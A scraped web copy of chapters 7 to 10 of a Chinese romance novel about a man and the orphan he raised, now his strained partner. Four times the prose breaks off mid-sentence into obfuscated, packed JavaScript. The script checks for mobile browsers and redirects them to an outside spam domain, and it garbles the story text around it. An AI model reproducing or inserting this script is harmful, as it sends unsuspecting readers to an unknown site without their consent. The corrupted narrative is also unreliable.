《和养大的崽HE了》 7.第 7 章 贺开知道自己在做梦,可这梦如此清晰,让他又难受了一次。 那是他们产生隔阂的开端。 “你说什么?”少年满眼都是不敢置信,错愕惊疑地望着他,下意识地退后了两步。 被那目光狠狠地刺了一下,但贺开仍温和地重复了一遍:“三年前在安顺福利院,那个想侵犯你的人渣,已经被关入了精神病院,这辈子都不会再出来伤害你,那个人——”他顿了顿,“他是我的父亲。小崽,我不能一直瞒着你,你有权力知道这件事情。” 就算他此时不说,陆什以后总会知道的。 陆什又退后了两步,撞到桌角发出声响。那双总是盛满笑意和依赖的眼睛,此时满是陌生和惊疑。 贺开苦笑了一下。今天以前,他是陆什的哥哥,是一拳打倒人渣的超人。可现在,他是当年那个人渣的儿子,陆什怎么可能不恨屋及屋。他算是体会到了“父债子偿”的含义。 “你……”陆什张了张嘴,又沉默地咽回了话语。 贺开看了眼腕表,站起身来:“抱歉让你知道这样的事情,选择今天告诉你,我不知道算不算一个好的时机。小崽,人生中的事情无论好坏都会过去,我希望你……健康快乐地长大。” 陆什站在角落看他,一言不发。 贺开叹了口气,向门口走去,又说:“学校的功课不能落下,有事给我打电话。” 门推开发出咔嚓一声,一道细细的低声询问被掩盖住,贺开没听清,皱眉转过身问:“你说什么?” 却见面色冷淡的少年薄唇紧抿,低着头不肯看他。 “没什么。” 三年零六个月,贺开每个周末都会去看望陆什,一次未曾缺席。可是这个周末他却犹豫了,他拿着准备送给陆什的遥控汽车、运动手表和篮球摆件,在办公室踱步好几圈,最终却只是发了条信息。 ——“抱歉,我今天有些忙,不能去看你。” 他不知道陆什还愿不愿意见他。 那是陆什第一次没秒回他消息。 他在办公室坐了一下午,直到夕阳西下,陆什的回复终于来了。 ——“您工作忙,不必特意抽空见面。” 冷冰冰的语调,写满着抗拒。贺开隔着屏幕苦笑了一下,陆什终究还是讨厌他了。 ——“好,你要好好学习。”他回复。 陆什的成绩一直是全班第一,他不希望陆什被这件事影响功课。 对话框立刻显示“对方正在输入中……”。但贺开耐心地等了许久,并没有消息过来。 下周的周三,贺开却接到了陆什班主任的电话。 “贺先生你好,我是初一(三)班的班主任刘老师,你是陆什的监护人对吗?” 贺开心里一紧,立刻问:“我是。刘老师,发生了什么事?” 刘老师叹了口气:“——问题有点严重,你方便的话现在来学校吧。唉,现在的小孩子……” 贺开心急火燎地赶到学校,待看到陆什好端端地站在办公室时,心里那口气猛然一松,他眼前都有些发黑。 被罚站的陆什闷闷地看了他一眼,又丧气地垂下头。贺开顾不上两人之间的不愉快,走过去揉了揉他的后颈:“好了,没事。” 和陆什一起被罚站的还有另外几个男生,刘老师指着他们,恨铁不成钢地说:“现在的小孩子,真是花样多得很……” 经刘老师的叙述,贺开总算明白发生了什么事——语文老师要求每天摘抄一页好词好句,有些学生躲懒不想抄,陆什就明码标价替他们抄,一页五块,三页十块。几天下来,竟然赚了小几百块钱。 刘老师拍着秃秃的脑门,唉声叹气:“你看看,你看看,才几岁啊就懂做生意了,还知道量大从优!他这几天都睡眠不足,在课堂上偷偷打瞌睡,我一检查他的书包,里面装着十几个同学的摘抄本!他竟然还会模仿不同人的字迹,语文老师都没认出来!” 语文老师在旁边端着茶笑:“小陆啊,真是人才。我硬是没认出笔迹来。” 陆什闷不做声,脑袋埋得更低了。 贺开摸了摸陆什的脑袋,对班主任道:“刘老师,事情我了解了,我会好好教育他,保证以后不会再发生这样的事情。” 开车回家的路上,贺开一路都在措辞,坐在副驾的陆什拽着安全带,闷闷地一言不发。 贺开斟酌着开口:“是不是我给你的零花钱不够用,所以你才去帮同学抄作业?那你怎么不告诉我呢?” 陆什咬了咬唇,说:“不是。” “那是为什么?”贺开问,“初中功课重,你帮别人抄作业,耽误了自己的功课怎么办,这是得不偿失的事情。” “我想早点赚钱,还清欠您的钱。”陆什说。 贺开皱眉:“你什么时候欠了我的钱?” “很多。您领养我花的钱,这些年的学费花的钱,还有租房的钱,吃饭的钱,买玩具的钱。” 贺开听懂了,这小子搁这和他划清界限呢。他怒极反笑:“你才多大,你去哪赚钱?不好好读书,天天想东想西的,我是不是太惯着你了!” 陆什倔强地抿紧嘴唇,和他对视。 贺开从来没有朝他发过火,话说出口已然后悔了。他深吸了几口气强迫自己平静下来:“我是你的监护人,供你生活和读书是我的责任。你要真想报答我,就好好学习。” “所以你对我好就只是责任对吗?!”听闻这话陆什突然失控似的大喊起来。 贺开错愕地望着他。 陆什喘了几口气,又冲他吼道:“你生什么气?!气我没学好吗?我没学好关你什么事!我们有血缘关系吗?!离了那张合同我们还有任何关系吗?!” 贺开气得太阳穴突突直跳,他没有和青春期的叛逆少年相处过,毫无经验,只得拿出了家长们的经典话术:“你这些话都是从哪儿学来的?你要再这么闹,我就送你去住校,让老师天天管着你!” 陆什沉默了一会儿,轻声道:“我会把钱都还给您的。” “你这个年龄该做的是好好读书。”听出他语气里故作的疏离,贺开气打不过一处来,“退一万步说,我差那些钱吗?” 十三岁的小男孩眼神固执:“那也要还。” 两人不欢而散。 到了周末,贺开到底还是放心不下。他知道自己不能和青春期的小孩太过计较,便拿着上周准备好的礼物,去看望陆什。 陆什见到他来颇为惊讶,脸上还是臭臭的,但身体已经很诚实地邀请他进屋。贺开带他出去吃饭,看电影,到了晚上,两人别扭地和好了。 这一别扭,就是好多年,直到今天。 - 短暂休息了一夜后,贺开一大早又飞去了北方。昨晚睡得不好,一上飞机就开始补觉。落地后,头脑还迷糊着,身体已经先于意识,给陆什发去了消息。 【我到C市了。】 【在上课吗?】 他把陆什的课表背得滚瓜烂熟,即使脑子迷糊,也清楚记得对方今天早上有三节数据结构的课程,现在第二节课应该正上到一半。 他没抱着收到回复的希望,正要把手机放回衣兜,一阵轻微的震动传来。 【陆什:好的。】 贺开一下子就精神了,从兜里掏出烟盒,对着盒口拍了张照发过去。 【还剩九根。】 之前的疲惫一扫而空,他一整天都精神十足,处理繁杂的事务也不觉烦躁。到了晚上,他再次拍了张烟盒的照片发给陆什。 【今天一根都没抽】 【答应过你这周都不抽】 【宝宝(/爱心/爱心/爱心)】 消息很快收到了回复—— 【陆什:您身体好些了吗?】 天降的惊喜砸晕了贺开的脑袋,他闭上眼睛又睁开,那句话仍躺在聊天框中,并没有消失不见——陆什是在履行关心“金主”的义务,可那又如何?自从陆什知道他与贺明光的父子关系后,陆什所做的一切都是为了报恩。那又如何呢?就算是装的,不情愿的,聊天框里的话语却是切切实实的关心。 这就够了。 贺开简直忍不住嘴角的笑意,打字回复:【好很多了,今天中午喝了点粥,晚上吃了面,现在回酒店休息了。本来还有点不舒服的,但是你一关心我,我就完全好了。】 手机震动了两下。 【陆什:少喝酒。】 【陆什:有空去医院看看。】 平时听腻听厌的嘱咐,不知多少人对他说过。可同样的话从陆什那里说出来,贺开简直想立地发誓此生再也不喝酒,又堪堪被理智拉住。 【好,谢谢宝宝。】 【等我回来,我们谈一谈好吗?关于你高中时的事情。】 【陆什:有空再说吧。】 【陆什:我要睡觉了,您也早点休息。】 贺开看了眼时间,22:30,大学生没有睡这么早的,他明白了对方的婉拒。心里有些遗憾,但今晚的聊天已足够他甜蜜好一阵。 【好,那晚安。( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881301|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /亲吻/拥抱/月亮)】 接下来的几天,贺开的心情异常的好。他把工作进程加快了两天,项目刚好结束在周五上午。看到秘书发来的航班号时,贺开松了口气——今晚便是那个美术生演那劳什子话剧的时间,他得回A市盯紧他的小男朋友。 他在办公室里转悠了几圈,掐着下课的时间点拨去了电话。 在一片嘈杂的脚步声与说笑声中,陆什的声音响起:“贺先生?” “刚下课吗?”贺开说,“在去吃饭的路上?” “嗯。” 贺开又说了几句寒暄的话,这才状若不经意地问:“今天是周五,你晚上有什么安排吗?” 陆什道:“有一个社团会议。” 贺开知道陆什参加了一个创业项目,关于家居机器人的创意设计,陆什负责核心代码的部分。一群小年轻经常聚在一起开会,讨论方案和构想。 他心下微松,又旁敲侧击地打听了几句,终于完全的放下心来——他的理工小男友完全不记得什么破话剧的事情。 他简直控制不住嘴角上扬的弧度,语调也不自觉变得轻软,说了好多黏糊糊的情话,直到陆什有些不耐烦,他才依依不舍地说了再见。 落地A市时天刚刚擦黑,贺开身体疲惫,精神却抖擞——他已全部安排好了,今晚先去医院。明天是周六,一早去染发,“显年轻的发色推荐”网页已经在手机里保存了许多天。然后顶着新发色去和陆什吃饭,再一起看新上映的电影。 他约好了医生,到医院后直接去做了胃镜。拿着报告穿过走廊时,他脚步一顿,在长椅上看到了一个熟悉的身影。 与此同时,陆什抬起头来,对上了他惊讶的视线。 “你怎么在这里?” “您怎么在这里?” 两人同时开口,陆什停顿了一下,说:“一个同学摔了腿,我顺路送他过来检查。” 贺开心里咯噔了一下,不祥的预感直直地涌上来——诊室门口,包扎好伤腿的罗玉麟正由护士扶着,一瘸一拐地走过来。熟悉的棕色小卷发在肩上晃荡,脸上有化过妆的痕迹,应该是刚刚登台表演过。 话剧。 他在千里外千防万防,还是没能阻止陆什和美术生的见面。他回想起电话里自己的春风得意,感觉自己像个小丑。 贺开感觉被抽走了所有力气,只好在长椅坐下。 “陆学长,谢谢你今天送我来医院,给你添麻烦了……” 这是一个年轻的声音,非常年轻。 陆什说了一句什么,贺开没听清楚,他一点也不想听陆什和那人说话。 紧接着肩膀被轻轻按了一下,陆什对他说:“贺先生,您等我一会儿,好吗?” 贺开抬头看着面前的人,嘴唇动了动,说不出话来。他只觉得很难受,非常难受。他的小男友在他与外人之间,选择了外人。 或许他才是那个外人,那个让陆什一直想逃离的“外人”。 陆什扶着罗玉麟从他身前走过时,贺开伸出手,握了握陆什垂在身侧的左手,用只有两个人能听到的声音说:“周一晚上,你不是……让我去检查么,所以我来医院了。” 他的话音轻而短,短短的句子停顿了好几次,显得虚软。脸色在白炽灯的照耀下更显苍白。 在两人交往的这两年里,陆什总是忽冷忽热,贺开早已习惯了。习惯了陆什对他的厌烦,习惯了主动服软来结束冷战,习惯了做低头的那个人。 因为是他离不开陆什,并非陆什离不开他。这段关系是他强求而来的,他有自知之明。 他说这句话,是在给两人的关系一个软和的台阶下:你看啊,我听你的话来医院检查了,今天的事情我没有生气,就让它过去,我们回头再谈好不好? 陆什脚步一顿,又向前走去,本就松松搭在一起的手撒开了。 贺开感受着指尖残余的温度,很轻地叹了口气。 远处,陆什正扶着罗玉麟下台阶。罗玉麟的伤腿不能用力,陆什抓住他的肩膀助他。 贺开收回视线。 听到和看到是两回事。 “我送一个同学来医院。”这句话初初听见,并没有什么感觉。 可是现在,贺开忍不住想,怎么送来的呢?遇到台阶,遇到上车,会背吗?会抱吗?宿舍没有电梯,那么多台阶,要怎么送上去呢? 他不能再想下去,太没有风度了。 远处的身影已经看不见了,贺开轻轻笑了笑,低声道:“没良心的小王八蛋。” 8.第 8 章 出租车停在学校门口,罗玉麟对陆什说:“学长,今晚太麻烦您了,我联系了室友来接我,把我放在学校门口就行。” 陆什似乎在想事情想得出神,闻言看了他一眼:“好。” 罗玉麟的脸红了红,鼓起勇气问:“等我的腿好了之后,我能不能请你吃顿饭?” 说完连忙又加了一句:“没有别的意思,就是想谢谢你今天帮我。” “不用客气。”陆什道,“我最近会比较忙,你先好好休息吧。” 罗玉麟的神色微微黯淡,他知道陆什三番两次的帮他,不过是因为许多年前那一点点微不足道的交情,而这交情迟早会耗尽。听出了对方话里的婉拒,他倒也没有多挫败,又扬起了笑容:“学长,今晚谢谢你。” 陆什道:“不客气。” 说话间,罗玉麟的舍友过来扶他下车。陆什仍坐在车里,对车窗外的人微微点头示意,然后向司机报了个地名。 出租车扬长而去,罗玉麟站在路边,隐约听见陆什方才说的是:“去市医院。” 凌晨的市区仍然灯火通明,市医院更是人来人往的热闹。 陆什在医院门口下车,目光从人群中扫过,随即脚步一转往停车场走去。角落里有一辆熟悉的黑色轿车,他走过去敲了敲车窗。 车窗缓缓降下,露出贺开惊讶的脸。 陆什瞥了一眼副驾座位上放的一大堆药,目光落在贺开苍白疲惫的脸上,语气淡淡的:“我送您回去。” 车子驶出停车场,换到副驾的贺开才慢慢回过神来,他偏头去看,青年的侧脸精致却冷淡,掩映在夜色中,看不清神色,只有右耳的银色耳钉散发着微弱的光芒。 正值红灯,陆什的手搭在方向盘上,指尖有一下没一下地轻轻敲击。 贺开伸手握了握他放在方向盘上的手,摸到一掌温热,原来不是在做梦,陆什竟然真的折返回来找他了。 陆什转头看他,微蹙起眉。 “你的同学腿伤得严重吗?”贺开问。 “不知道。” 陆什抽回了手,转回头去。 绿灯亮了,车子平稳地向前驶去,车内一阵沉默。 这辆车是一款入门级的保时捷,纯黑颜色,车身线条流畅漂亮,低调却不失格调。车牌号是陆什的生日。这是陆什上大学那一年,贺开打算送他的生日礼物。可陆什不要,贺开只好自己用了。 “我和罗同学是在福利院认识的,多年前他对我有一饭之恩。”一片寂静中,陆什看着前方,声音平淡地开口,“今晚社团会议结束后,路过话剧厅,他因为性取向的事情被同系的几个人嘲笑,动起手来,摔到了腿,所以我顺路送他去医院。” 陆什很少主动说这么一大段话,车内声音回环,贺开被近在咫尺的低音炮搞得耳朵嗡嗡,几秒后才后知后觉地反应过来——陆什在对他解释。 他怔了一下,捕捉到了几个字:“一饭之恩?” 陆什不愿多说,只嗯了一声。 贺开却在一瞬间反应过来——在管理很差的福利院里,新来的孩子被孤立是常有的事情,挨饿挨冻都很常见。“一饭之恩”的含义,不言而喻。 他一下子心疼得绞起来了,趁着红灯握住了陆什的手腕:“对不起,我应该早点遇见你。” “这与您没有关系。”陆什道。 一阵电话铃声被车载蓝牙放大,回荡在车内,贺开看了一眼中控显示屏,接起了电话。 秘书打来请示了几个问题,贺开一一答复。他与其他人说话,和与陆什说话是完全不同的。在陆什面前,他总是轻言细语,五分的温柔,七分的笑意,十分的爱意。但与其他人说话,便是精简至极。 中途察觉到车速慢下来,他抬头看了眼前面的岔路,心中了然,轻轻拍了拍陆什的大腿:“前面左转。” 陆什从小就不太认识路,他没有说过,贺开却一直知道。 闻言,陆什没说什么,又提高到了正常车速,变道去了左边车道。 几分钟后,电话挂断了,车里又恢复了寂静。 接下来的路七拐八拐,贺开总是在快到路口前出声提示。 “直走,下个路口左转。” “这里右转。” 陆什默默地跟着他的提示开着车,到了市中心宽阔的大街,四周都是熟悉的建筑,贺开便不再说话。 又一阵电话铃声响起,这次是陆什的电话。 贺开望向他震动的裤兜,问:“接吗?” 陆什说:“麻烦您了。” 贺开倾身过去,手指探入陆什的裤兜,触碰到的却不是冰凉的手机壳,而是青年那温热紧绷的大腿。隔着一层薄薄的休闲裤,肌肉紧实而有力。 陆什稍稍动了动腿,裤兜变得宽松了些,贺开拿出了震动的手机,屏幕上跳动着“一号床舍友-杨川”。贺开按了接听键,又开了免提。 一道粗犷的声音传来:“兄弟,今晚还回吗?” “要。”陆什道,“留个门。” “行。”对面的人发出桀桀桀的怪笑,“有人看到你和那小卷毛一起走出学校,怎么,终于要修成正果了?” “还是说那封粉红色情书里写了什么感人的话,把你这理工科钢铁直男都打动了?” “诶也不对啊,人家追你两年也没打动你,怎么偏偏一封信把你打动了?有鬼,绝对有鬼。” 一旁的贺开心都揪起来了,转头看向陆什。 “老杨,别瞎说。”陆什道,“不是你们想的那种关系。” 他又道:“回去再说,我现在不太方便。” “行啊,咱仨等着你!” 电话挂断后,贺开心里酸得能酿醋了:“那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884691|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学追了你两年,是怎么追的?” 陆什抿着唇不语,车速提高了。 贺开知道追问下去显得太没有风度,却仍忍不住又问:“除了写情书,还有什么?” 陆什踩下刹车,车子在庭院里停下。他熄了火,发动机的轰鸣声消失了,只剩寂静。 “不知道。”他松开安全带,“您早些休息,我回学校了。” 推开车门下了车,副驾却迟迟没有打开车门的声音,走出十几步的陆什脚步顿住,在原地站了几秒,闭眼深吸了一口气,走回去拉开车门。 “我送您进去。” 贺开望着他,凉霜般的月光把青年塑成了一尊英俊却无情的佛,眉眼间只是秋水般的清冷。这段强求而来的感情早已只剩空壳,陆什对他,只有周道的礼数,和不得不履行的“责任”。 酸楚和难受让他累得连起身的力气都没有了。 “我起不来。”他说。 陆什看了他几秒,俯下身揽住他的腰身扶他出来。贺开撑住车门,他全身无力,不得不抓紧了陆什的手臂,喘息着靠在对方的身上。 两人就这样站在半开的车门前,身体紧贴。 贺开感受着青年身体的温度,垂眸看了看环在自己腰间的手臂,问:“你刚才,会这样扶那位同学吗?” 陆什不为所动:“风大,进去吧。” 贺开微笑着继续说道:“医院有二十多层台阶,他腿不方便,你会扶他的哪里?肩膀?腰?还是哪里?你不喜欢和人肢体接触,他是个例外,对吗?哦,你还知道他心思重,敏感,所以特别照顾他的情绪,你……”他停不下来似的说着,一股脑把酸水往外倒。 陆什安静地听着他那毫无逻辑的嫉妒之语,一言不发,直到他喘不过气似的停下,才平淡地开口:“贺先生,在您心里,我算是什么人呢?” “半个小时前在车上,我已经解释清楚了送他去医院的原因。可是您却因为我舍友的几句话,再次陷入怀疑,那么您把我说的话又当做什么呢?”他停顿了一下,一双清冷漂亮的眼眸在月光下更显冷淡,“更何况,一个星期前那个雨夜我就已经解释过,那只是一顿饭,没有前情也没有后续,简简单单的一顿饭。如果您真的尊重我,就不会有后面那些三番五次的试探。” 贺开感觉身体一软,眼前黑雾阵阵,天旋地转。原来他在电话里那些蹩脚的试探,陆什全部知道。 “我……”他张了张嘴,声音却沙哑得说不出话。 陆什看着他,等待着他的下文。 “我就是……难受。”贺开说,“上周你嫌我老,而他年轻。而且他认识你比我认识你更早……我很难受……” “既然我让您那么难受。”陆什冷笑了一下,“那就分手吧。” 贺开脸色霎白,脑子嗡嗡的,几乎站立不稳:“你说什么?” 9.第 9 章 陆什并没有重复刚才的那句话,四周寂静得只有月光与风声,两人又隔得这样近,并没有必要重复。 贺开向后退了退,后背抵靠着冰凉的车窗和车门,他说:“不行。” 说完这句,他脸色变得更为苍白,却奇迹般平静了下来,语气坚决地又重复了一遍:“不行。我们可以交流,但是分手,不行。”分手两个字带着轻微的颤音,又被风吹散。 陆什沉默地看着他,一双眼眸像覆着浓雾的池塘,看不清情绪。 贺开完全平静了下来,唇边甚至带上了一点浅淡的笑意,话语也像在商业场上谈判那样的条理清晰:“你刚才说我不尊重你,我并没有这样的意思,可如果你有这样不好的感受,那么我道歉,对不起。另外,我有做得不好的地方,我会改。有意见不同的地方,我们可以商量,讨论,磨合,但是不可以分手。谈恋爱又不是一锤子买卖,不应该这样粗暴对待。” 他说得有条有理,平静而理智,可身后的手指死死地抓握着车门的扶手,力道之大甚至掐出血痕。身体细细颤抖,又被整齐的衣装遮盖去所有的不体面。 微笑仍然像假面一样挂在唇边,严丝合缝。 半晌,一丝似有若无的轻叹飘散在空中,陆什的声音响起:“贺先生,何必呢?就像您真的在意一样。” “我就是很在意啊。”贺开眼前阵阵发黑,终于忍不住弯下腰,手掌用力地抵摁住胃部,几乎咬破嘴唇才勉强止住喉口的痛声。 月光下,陆什垂眸看着他颤抖的脊背,几秒后,伸手扶住他的肩膀,问:“想吐?” 贺开摇摇头,声音断续:“就是……疼,在医院就疼,胃镜,很难受。” 陆什道:“进屋吃药。” 贺开攥住他的手腕,一字一句都像从齿缝里挤出:“别分手。” 陆什的声音听不出情绪:“进屋吧。” 进入温暖的卧室,床铺和温水让贺开恢复了些力气,他的目光始终跟在陆什身上,趁陆什端着水路过时,贺开拉住他在床边坐下,凑上去吻他,从脖颈吻到唇角。 待要进一步唇舌交缠时,陆什捏住他的下颌往旁边一转,神情冷淡地拒绝了他的吻:“苦。” 贺开端起床头的杯子喝了口热水,却仍无法洗去嘴里苦涩的药味。他放弃了索吻,只道:“别分手。” 陆什几不可闻地叹了口气,道:“抱歉,是我冲动了。” “你答应了?”贺开的脸上终于恢复了些血色,“宝宝,你有话就跟我说,以后别再提分手,好不好?你希望我怎么做,我全部改。” “您不需要这样。”陆什并没有对他后面那个问题做出答复,只安静地看着他,“早点休息吧。” 听出话里有离开的意思,贺开立刻凑上去环抱住青年的肩膀和腰身:“别走好不好?陪陪你哥哥。” 他打定主意要留下他的年轻爱人,即使只有今晚。 追了两年,听话剧,粉色情书。他不会这些年轻人的新潮玩意儿,他只能仗着过去十年的交情来道德绑架,他无耻,他卑鄙,他只是想留下陆什。 哥哥。 陆什小的时候,最爱一声声地叫他哥哥,上初中后,简化成了“哥”,可偶尔对他撒娇,还是会又低又软地喊:“哥哥。” 他已经好久好久没有听见了。 贺开深吸了一口气,埋头在陆什温热的脖颈间,又说了一遍:“陪陪哥哥。” 陆什任由他抱着,只道:“贺先生,您别这样。” “宝宝,你是不是还在怪我?”贺开亲吻着他的脖颈和耳后,“关于你高中时的事情,是我失职,我做错了,你给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890659|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一次机会,让我改正,好不好?” “不是的。”陆什轻轻推开他,语气是前所未有的认真,“我从来没有怪过您。” “那你今晚别走,太晚了,留下来,好不好?” 最终陆什还是留了下来。 月光如水,漫过窗纱,铺满地面。身边的人睡得很不安稳,睡梦中依然紧紧攥着他的手臂。陆什轻轻地挣开,翻了个身背对着身后的人,面对着月光。 他想起贺开问的那个问题,心里觉得好笑——他怎么会怪他?原来他竟是那样想他的么? 救他出水火的人,供他读书的人,养他陪他的人,他还要去怪的话,那不是太狼心狗肺了么?学校没有教过这样的道理,史书上也没有这样的案例。 他只是怪他自己,那些不该有的期待,那些几百公里外漫长的等待,全都是他曾经软弱的证明。好在他已经将那些不成熟尽数封存。 枕边的手机轻轻震动了一下,进来了一条入账短信,是他之前参与一款手游开发的项目尾款。他打开记账app,把短信里的数字输入进去,欠款的数字变少了,距离清零又进了一步。 这份账单,一开始是手写的,藏在初中男孩的笔记本里。后来为了方便记录,变成了电子档存入手机,直到今天。 身后的人动了动,温热的身体贴上他的脊背,一条手臂伸过来环在他的腰间,迷糊的声音在他耳边响起:“宝宝……” 陆什轻轻拍了拍那手背,又用指尖揉捏对方那泛凉的骨节和掌心,身后的人便又熟睡了过去。 动作是温柔的,屏幕微光照亮的脸却是冷漠的。陆什最后看了一眼记账app里的数字,放下手机。 情与钱,他不能两样都欠。养大他的恩情难以报偿,至少,先把钱还清。 再抽身离去。 10.第 10 章 陆什的无忧童年止于十三岁。 十三岁前,他从地狱来到天堂。福利院里没人要的孤儿有了一个哥哥,从此有了学上,吃饱穿暖,有人关心,有人陪。 十三岁后,从对方歉意的话语与眼神中,他得知一切都是虚幻——他以为的爱与关心,不过是出于愧疚,不过是“父债子偿”的具象化,不过是合同上规定的责任与义务。他卡在从天堂坠落地狱的中途,不上不下,那股难受劲儿宛如生吞铁锭,五脏六腑都挪了位。 自那以后,每周的见面仍在维持,但他能感觉到,一切都不一样了。 福利院长大的孩子天生就有敏感的雷达,从皮肤里悄悄伸出小小的触角,敏锐地觉知对方的善意或者恶意,及时采取行动——这已经成为刻在骨子里的生存本能。 他感觉到了贺开的回避与不安,相处中再无往日的融洽愉快,时不时的冷场与尴尬总是弥漫在两人之间。于是他知道,是时候离开了。 “您工作忙的话,周末不用抽空来看我。”那年他十三岁,念初一,第一次这样说。 贺开先是惊讶,而后皱眉道:“我是你的监护人,怎么可以不来看你?你是不是早恋了,周末要去和女孩子约会?你才多大,心思要放在学习上。” 陆什无言以对。 于是每周例行公事般的看望持续了下去,直到初中毕业。 这一次他有了正当的理由:“我同学的姐姐开了家奶茶店,我暑假和他一起去店里帮忙,会很忙碌,您也很忙,就不用来看我了。” 贺开这次倒是答应了:“打零工体验生活是好事,但不要有压力,别累着,不想做了随时停止,出去玩玩,好吗?零花钱不够用就跟我说。”他往陆什的卡里打了一大笔钱。 在那个暑假,陆什攒够了高一的学费,也听了天南海北的故事。顾客们总有聊不完的家常,抱怨家长的能占一大半儿。他们说起家长的迂腐、干涉、严厉与打骂,语气恨恨。 陆什默默地想,贺开对他实在是好。永远尊重他的决定,包容他的任性,从没有成绩上的要求,只要求他的健康与快乐。 即使是出于责任和义务。 他回报的却是冷淡和疏离。 于是在学校门口人山人海的街上,他看着缓缓离开的车辆,在一股突如其来的冲动下追了上去,喊出了那个已经被他搁置很久的称呼。 “哥。”他说,“你工作别太累,注意身体。” 贺开似乎是被他的关心给惊到了,愣了一下才笑着说:“好,我知道。你也一样,成绩都是次要的,身体健康最重要。遇到解决不了的事情,跟哥哥说,嗯?” 他们似乎跳过了这两年的隔阂,又回到了一开始的融洽。陆什想,这好像也并不太难,于是更多的贴心话语自然而然地流露:“哥,你工作上和生活上遇到烦心事,也可以跟我讲,就像小时候一样。” “好,你也是。” 那天夜里躺在宿舍的床上,陆什心里是前所未有的轻松。无论贺开对他好是出于责任还是出于真心,贺开总归是世界上对他最好的人,君子论迹不论心,是他之前太敏感自卑,妄生揣测,他不该这样。 好在他们似乎和好了,以后会比今天更好的。 很快迎来了第一次月考,他考了班级第一,年级第五。家长会前一周,班主任问他,家长能来开家长会吗?到时候能不能做个经验分享?当晚他打电话给贺开,收到了肯定的答复。 那几天他心情很好,走路时都在心里哼歌。 可家长会前一天晚上他接到了贺开的电话。 “抱歉,小崽,临时有点事情,明天我会让叶秘书去开家长会,学校的事情他会转达给我,可以吗?”电话那头的贺开说,“非常抱歉……” 陆什握着手机的指尖捏紧了,沉默了两秒。 贺开又道:“是我的错,下次家长会我一定去,好不好,小崽?真的是很抱歉。” 陆什心里默默地说,不用的啊,哥,不用一直道歉。这样会显得我们很疏离。 彼时他的嗓音已有了变声期少年的冷淡和低沉:“好的,那你多注意身体,工作忙也要按时吃饭,少抽烟和喝酒。” “我知道,你也是,钱不够用就跟哥哥说。” 家长会当天,陆什坐在教室外的台阶上,听着里面时不时的欢笑和讨论。文秘专业出身的叶秘书口才极佳,一篇经验分享写得文采风流又不失幽默风趣,比申论文章还要标准。 兜里的手机震动了一下,一条入账短信,又是贺开打给他的一大笔钱,备注是:恭喜小崽考第一名。 他握着手机发呆,直到一道声音在耳边响起。 “喂,班级第一,里面那位叔叔不是你的家长吧?” 陆什抬起头来,一个同班男生正双手抱胸靠在石柱上看着他,嘴里还叼着根狗尾巴草。男生是这次月考的班级第二名,名叫许逸飞。 陆什微微挑了挑眉,还没说话,许逸飞就在他旁边坐下,眉飞色舞地分析:“首先呢,家长会前我听到你和他的对话,你俩明显不熟的样子。其次,他这通经验分析像是事先写好的议论文,再然后……” 许逸飞滔滔不绝地说了一大堆。陆什却只是笑了一下,起身准备离开,刚走出两步,许逸飞的下一句话把他钉在了原地。 “喂,你不用装了,我知道你和我一样都是孤儿。” 陆什转过身来,眉峰微蹙:“孤儿?” 许逸飞耸了耸肩:“我父母是建筑工人,很久以前出事故死了,我从小学起就一个人住,一个人生活。你应该和我一样吧?” “抱歉听到这样的事情。”陆什说,“但我不是孤儿。” 他像是在说服自己似的又添了句:“我有个哥哥。” 许逸飞满脸写着不相信,却也没再说什么,笑眯眯地从兜里掏出个冒着热气的红薯:“吃吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907568|174262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不用了,谢谢。” 一学期四次月考,包含期中与期末考试。当陆什第八次坐在台阶上看着手机里的大额转账时,时间已从初秋来到了盛夏。高一就要过去了。 教室里,叶秘书的演讲依然是那样的幽默风趣,家长们善意的笑声依然那样的清晰。 许逸飞第八次从兜里掏出个烤红薯,问:“吃吗?” 陆什道:“谢谢,不用。” 许逸飞又掏出个冰棍儿:“那吃这个吧?” 陆什沉默了一下,从他手机接过冰棍儿:“谢谢。” 